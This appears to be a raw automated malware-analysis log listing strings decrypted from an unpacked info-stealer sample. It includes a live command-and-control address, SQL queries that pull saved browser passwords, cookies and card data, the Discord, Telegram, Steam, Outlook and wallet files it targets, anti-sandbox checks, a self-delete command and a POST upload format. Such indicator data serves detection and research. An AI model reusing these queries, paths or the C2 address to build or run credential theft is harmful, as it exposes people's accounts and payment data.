Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: GetComputerNameA
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: lstrcpyA
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: GetProcessHeap
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: GetCurrentProcess
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: lstrlenA
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: ExitProcess
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: GlobalMemoryStatusEx
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: GetSystemTime
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: SystemTimeToFileTime
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: advapi32.dll
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: gdi32.dll
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: user32.dll
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: crypt32.dll
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: ntdll.dll
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: GetUserNameA
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: CreateDCA
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: GetDeviceCaps
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: ReleaseDC
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: CryptStringToBinaryA
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: sscanf
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: VMwareVMware
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: HAL9TH
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: JohnDoe
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: DISPLAY
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: %hu/%hu/%hu
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: http://185.172.128.76
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: /3cd2b41cbde8fc9c.php
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: /15f649199f40275b/
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: default10
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: GetEnvironmentVariableA
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: GetFileAttributesA
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: GlobalLock
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: HeapFree
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: GetFileSize
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: GlobalSize
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: IsWow64Process
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: Process32Next
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: GetLocalTime
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: FreeLibrary
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: GetTimeZoneInformation
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: GetSystemPowerStatus
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: GetVolumeInformationA
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: GetWindowsDirectoryA
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: Process32First
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: GetLocaleInfoA
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: GetUserDefaultLocaleName
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: GetModuleFileNameA
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: DeleteFileA
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: FindNextFileA
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: LocalFree
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: FindClose
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: SetEnvironmentVariableA
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: LocalAlloc
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: GetFileSizeEx
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: ReadFile
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: SetFilePointer
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: WriteFile
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: CreateFileA
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: FindFirstFileA
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: CopyFileA
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: VirtualProtect
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: GetLastError
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: lstrcpynA
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: MultiByteToWideChar
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: GlobalFree
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: WideCharToMultiByte
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: GlobalAlloc
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: OpenProcess
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: TerminateProcess
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: GetCurrentProcessId
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: gdiplus.dll
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: ole32.dll
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: bcrypt.dll
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: wininet.dll
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: shlwapi.dll
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: shell32.dll
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: psapi.dll
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: rstrtmgr.dll
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: CreateCompatibleBitmap
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: SelectObject
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: BitBlt
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: DeleteObject
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: CreateCompatibleDC
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: GdipGetImageEncodersSize
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: GdipGetImageEncoders
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: GdiplusStartup
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: GdiplusShutdown
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: GdipSaveImageToStream
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: GdipDisposeImage
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: GdipFree
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: GetHGlobalFromStream
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: CreateStreamOnHGlobal
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: CoUninitialize
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: CoInitialize
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: CoCreateInstance
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: BCryptDecrypt
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: BCryptSetProperty
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: BCryptDestroyKey
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: GetWindowRect
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: GetDesktopWindow
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: GetDC
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: CloseWindow
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: wsprintfA
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: EnumDisplayDevicesA
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: GetKeyboardLayoutList
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: CharToOemW
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: wsprintfW
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: RegQueryValueExA
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: RegEnumKeyExA
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: RegOpenKeyExA
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: RegCloseKey
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: RegEnumValueA
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: CryptBinaryToStringA
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: CryptUnprotectData
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: SHGetFolderPathA
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: ShellExecuteExA
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: InternetOpenUrlA
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: InternetConnectA
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: InternetCloseHandle
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: InternetOpenA
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: HttpSendRequestA
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: HttpOpenRequestA
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: InternetReadFile
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: InternetCrackUrlA
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: StrCmpCA
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: StrStrA
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: StrCmpCW
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: PathMatchSpecA
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: GetModuleFileNameExA
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: RmStartSession
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: RmRegisterResources
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: RmGetList
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: RmEndSession
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: sqlite3_open
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: sqlite3_prepare_v2
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: sqlite3_step
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: sqlite3_column_text
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: sqlite3_finalize
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: sqlite3_close
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: sqlite3_column_bytes
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: sqlite3_column_blob
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: encrypted_key
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: PATH
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: NSS_Init
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: NSS_Shutdown
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: PK11_FreeSlot
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: PK11_Authenticate
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: PK11SDR_Decrypt
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: C:\ProgramData\
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: browser:
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: profile:
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: url:
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: login:
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: password:
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: Opera
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: OperaGX
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: Network
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: cookies
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: .txt
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: TRUE
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: FALSE
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: autofill
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: SELECT name, value FROM autofill
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: history
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: name:
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: month:
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: year:
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: card:
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: Cookies
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: Login Data
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: Web Data
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: History
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: logins.json
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: formSubmitURL
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: usernameField
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: encryptedUsername
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: encryptedPassword
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: guid
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: cookies.sqlite
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: formhistory.sqlite
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: places.sqlite
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: plugins
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: Local Extension Settings
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: Sync Extension Settings
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: IndexedDB
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: Opera Stable
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: Opera GX Stable
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: CURRENT
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: chrome-extension_
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: _0.indexeddb.leveldb
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: Local State
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: profiles.ini
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: chrome
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: opera
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: firefox
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: wallets
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: %08lX%04lX%lu
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: ProductName
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: ProcessorNameString
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: DisplayName
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: DisplayVersion
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: Network Info:
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: - IP: IP?
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: - Country: ISO?
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: System Summary:
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: - HWID:
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: - OS:
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: - Architecture:
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: - UserName:
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: - Computer Name:
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: - Local Time:
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: - UTC:
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: - Language:
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: - Keyboards:
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: - Laptop:
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: - Running Path:
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: - CPU:
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: - Threads:
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: - Cores:
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: - RAM:
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: - Display Resolution:
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: - GPU:
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: User Agents:
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: Installed Apps:
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: All Users:
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: Current User:
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: Process List:
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: system_info.txt
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: freebl3.dll
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: mozglue.dll
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: msvcp140.dll
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: nss3.dll
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: softokn3.dll
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: vcruntime140.dll
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: \Temp\
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: .exe
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: runas
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: open
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: /c start
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: %DESKTOP%
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: %APPDATA%
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: %LOCALAPPDATA%
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: %USERPROFILE%
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: %DOCUMENTS%
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: %PROGRAMFILES%
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: %PROGRAMFILES_86%
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: %RECENT%
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: *.lnk
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: files
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: \discord\
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: \Local Storage\leveldb
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: \Telegram Desktop\
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: key_datas
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: D877F783D5D3EF8C*
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: map*
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: A7FDF864FBC10B77*
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: F8806DD0C461824F*
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: Telegram
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: *.tox
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: *.ini
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: Password
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: 00000001
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: 00000002
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: 00000003
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: 00000004
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: \Outlook\accounts.txt
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: Pidgin
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: \.purple\
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: accounts.xml
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: dQw4w9WgXcQ
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: token:
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: Software\Valve\Steam
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: SteamPath
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: \config\
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: ssfn*
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: config.vdf
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: DialogConfig.vdf
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: libraryfolders.vdf
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: loginusers.vdf
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: \Steam\
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: sqlite3.dll
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: browsers
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: done
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: soft
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: \Discord\tokens.txt
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: https
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: POST
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: HTTP/1.1
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: hwid
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: build
Source: 8.3.u5do.0.exe.40e0000.0.raw.unpack	String decryptor: token
